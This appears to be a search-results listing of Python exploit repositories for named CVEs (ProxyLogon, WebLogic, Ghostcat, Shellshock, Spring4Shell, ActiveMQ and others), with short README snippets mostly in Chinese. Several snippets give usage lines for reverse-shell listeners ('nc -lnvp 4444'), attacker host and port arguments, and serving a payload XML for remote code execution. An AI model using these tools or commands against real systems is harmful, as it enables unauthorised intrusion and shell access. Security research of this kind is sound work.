536 matches found
Proxylogon-exploit
Proxylogon-exploit proxylogon漏洞利用 - CVE-2021-26857 用法： python exploit.py...
28458
CVE-2020-28458 此包的受影响版本存在原型污染漏洞。 datatables v1.10.16-1.10.16 用法 运行Python脚本并输入所需信息： 目标URL 代理URL（可选，无则留空） 超时时间（秒，默认10） 示例：python3 exploit.py 该脚本使用日志记录以获得更好的输出，并通过解析JSON响应（如可能）来检查原型污染。...
CVE-2024-9264
CVE-2024-9264 python CVE-2024-9264.py '' -u '' -p '' -c ''...
CVE-2018-2893
CVE-2018-2893 可以直接反弹shell Usage 监听 nc -lvvp reverseport 发送payload python weblogic.py targethost targetport reversehost reverseport Reffer bigsizeme pyn3rd 说明 仅用于测试和交流学习，勿作他用...
CVE-2020-1938_Ghostcat-PoC
CVE-2020-1938Ghostcat-PoC - CVE-2020-1938 一个用于 Apache Tomcat AJP Ghostcat 漏洞 CVE-2020-1938 的强大 Python 利用工具，具备渗透测试和安全研究的高级功能。 🔍 概述 Ghostcat 漏洞 CVE-2020-1938 允许攻击者通过 AJP Apache JServ Protocol 连接器从部署在易受攻击的 Apache Tomcat 服务器上的 Web 应用程序中读取任意文件。该工具自动化了利用过程，支持： 多目标扫描 支持多线程 自定义字典支持 用于文件枚举 上传点检测 识别潜在的 RCE...
Exploit-en-Python-para-CVE-2023-4147
🚨 用于 CVE-2023-4147 的 Python 漏洞利用 针对 CVE-2023-4147 的概念验证漏洞利用。仅用于安全研究和教育。 ⚠️ 法律警告 仅供教育和授权使用 ✅ 经授权的安全研究 ✅ 受控的实验室环境 ✅ 网络安全教育 ✅ 经授权的漏洞赏金计划 ❌ 未经授权的系统 ❌ 恶意或非法活动 💰 支持本项目 ₿ 欢迎比特币捐赠！ ┌─────────────────────────────────────┐ │ ₿ Dirección de Donación BTC ₿ │ ├─────────────────────────────────────┤ │ │ │...
wp-CVE-2017-5487-exploit
WordPress CVE-2017-5487 Python 漏洞利用 使用示例： python3 krpexploit.py -h python3 krpexploit.py --url http://examplesite.com...
CVE-2025-24893_Shell
2025-24893Shell 要求：httpx 用法：python exploit.py victim.com...
Drupal_REST-RCE_Unauthenticated
CVE-2019-6340 — Drupal RESTful Web Services RCE 针对 CVE-2019-6340 远程代码执行漏洞的 Python 实现，基于对 Metasploit 模块 的分析以及 leonjza 的先前工作。 与 EDB-46459 的关键区别： 使用 POST 而非 GET， 绕过 Drupal 的页面缓存 — 可对同一目标多次执行， 无需等待缓存过期。 要求 pip install requests 用法 python3 exploit.py -c options 免责声明...
CVE-2021-40438-POC
注意：仅用于教育和受控测试目的。仅在你拥有评估权限的系统上进行测试。 CVE-2021-40438 - SSRF漏洞利用 ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▀█░░░░░░█░█░▄▀▄░█░█░▀▀█░▄▀▄ ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░░█░░▄▄▄░░▀█░█/█░░▀█░░▀▄░▄▀▄ ░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░▀▀▀░░░░░░░▀░░▀░░░░▀░▀▀░░░▀░ 用法 基本用法 python3 exploit.py "http://vulnerable-site.com"...
CVE-2022-22965
spring4shell ⭐ CVE-2022-22965 的一个 Python 实现，以 ssh 会话的风格为用户提供提示符。 该脚本旨在易于理解和执行，兼顾可读性与可访问性——取决于用户的选择。专为在 Tomcat 服务器上利用该漏洞而设计。服务器上的 fileDateFormat 字段将作为脚本的一部分被设置和取消设置，从而允许该漏洞利用被多次运行。可能需要进行清理。 漏洞利用 - CVE-2022-22965 ❗ 该漏洞存在于 5.2 版本之前的 java spring 框架中，以及 5.3.0-17 和 5.2.0-19 版本中，且运行在大于或等于 9 的 Java...
cve-2023-37635
CVE-2023-37635 - Guía de explotación Instalación y configuración 1️⃣ Instalar dependencias pip install -r requirements.txt 2️⃣ Ejecutar el exploit Con un proxy: python brutForc.py Sin proxy: python brutForc.py -n Notas: Reemplaza con la URL objetivo. La opción -n desactiva el uso del proxy. ⚠️...
CVE-2014-6271
CVE-2014-6271 Shellshock Python 漏洞利用工具 一个简洁、高效且交互式的 Python 实现，用于通过 HTTP 环境变量注入测试 Shellshock 漏洞（CVE-2014-6271）。 📝 描述 Shellshock （CVE-2014-6271）是 Bash shell 中的一个严重安全漏洞，攻击者可将任意命令附加到存储在环境变量中的函数定义末尾来执行命令。 此脚本针对使用 CGI（通用网关接口） 脚本的 Web 服务器。当服务器将 HTTP 头部（例如 User-Agent）传递给基于 Bash 的 CGI...
CVE-2025-32433-exploit
CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...
CVE-2025-55182
CVE-2025-55182 漏洞利用 一个简单的 Python 脚本，通过向应用程序注入 shell 来利用 CVE-2025-55182 中 React Server Components 的漏洞。该脚本已在 Next.js 16.0.6 版本上测试通过。 使用方法 克隆仓库 git clone https://github.com/ahmedshamsddin/CVE-2025-55182 运行存在漏洞的应用程序 cd CVE-2025-55182/vulnerable-app npm install npm run dev 运行漏洞利用 python exploit.py...
netsec-project
项目名称 CVE-2021-22555 攻击脚本 描述 该项目是一个使用 Python 实现的自动攻击工具。它对运行 Ubuntu 20.04 以及内核版本 5.8.0-48 的目标系统执行各种安全测试和攻击。该工具包括 ping、活跃主机检测、全端口开放扫描、SSH 暴力破解以及利用 CVE-2021-2255 漏洞等功能。本项目是国立阳明交通大学网络安全课程项目的一部分。 注意 ：由于项目要求生成单个可执行文件，因此我们在此仅创建一个单一的 Python 文件。 目标操作系统 ：Ubuntu 20.04，内核版本 5.8.0-48 攻击者操作系统 ：Kali Linux（版本...
CVE-2023-27997-POC
用法: python3 cve-2022-42475.py rhost rport lhost lport 示例: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 免责声明: 本项目仅用于教育和道德测试目的。未经事先相互同意，使用此工具攻击目标是非法的。开发者不承担任何责任，也不对因使用此工具造成的任何滥用或损害负责。...
CVE-2023-46604-RCE
CVE-2023-46604-RCE Apache ActiveMQ 未经身份验证的远程代码执行的 Python 实现 设置与利用 nc -lvnp 4444 - 启动监听器 python3 -m http.server 8080 - 托管包含你 payload 的 poc.xml python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - 启动利用...
CVE-2021-21389
使用说明 1. 通过docker构建易受攻击的wordpress和buddypress环境。 2. 构建并运行mariaDB容器。 3. 让两个容器在同一网络中运行。 例如：docker network create wordpressnetwork docker network connect wordpressnetwork wordpressapp docker network connect wordpressnetwork wordpressdb 4. 通过以下命令执行payload： python3 CVE-2021-21389.py http://localhost:808...